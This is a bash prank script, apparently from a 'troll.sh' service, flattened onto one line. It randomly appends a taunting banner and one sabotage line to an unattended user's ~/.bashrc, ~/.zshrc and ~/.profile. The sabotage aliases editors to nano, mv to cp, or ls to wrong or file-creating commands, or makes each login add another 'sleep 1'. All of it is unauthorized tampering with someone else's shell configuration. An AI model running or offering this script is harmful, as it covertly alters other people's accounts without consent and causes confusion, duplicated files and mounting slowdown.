# range="6" while true; do selection=$(( $RANDOM % range )) if [[ $selection == 0 ]]; then for file in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do test -w $file && cat << EOF >> $file ########################################################################### # The following was added when you left yourself logged in like a fool. # # You can do the same to your former friends with http://troll.sh. # # Check out http://troll.sh/about for more info. # ########################################################################### alias vi=nano alias vim=nano alias emacs=nano EOF done break elif [[ $selection == 1 ]]; then for file in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do test -w $file && cat << EOF >> $file ########################################################################### # The following was added when you left yourself logged in like a fool. # # You can do the same to your former friends with http://troll.sh. # # Check out http://troll.sh/about for more info. # ########################################################################### alias ls='ls ../../' EOF done break elif [[ $selection == 2 ]]; then for file in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do test -w $file && cat << EOF >> $file ########################################################################### # The following was added when you left yourself logged in like a fool. # # You can do the same to your former friends with http://troll.sh. # # Check out http://troll.sh/about for more info. # ########################################################################### alias ls='touch $(fortune); ls' EOF done break elif [[ $selection == 3 ]]; then for file in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do test -w $file && cat << EOF >> $file ########################################################################### # The following was added when you left yourself logged in like a fool. # # You can do the same to your former friends with http://troll.sh. # # Check out http://troll.sh/about for more info. # ########################################################################### alias mv=cp EOF done break elif [[ $selection == 4 ]]; then for file in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do test -w $file && cat << EOF >> $file ########################################################################### # The following was added when you left yourself logged in like a fool. # # You can do the same to your former friends with http://troll.sh. # # Check out http://troll.sh/about for more info. # ########################################################################### echo "sleep 1" >> $file EOF done break fi done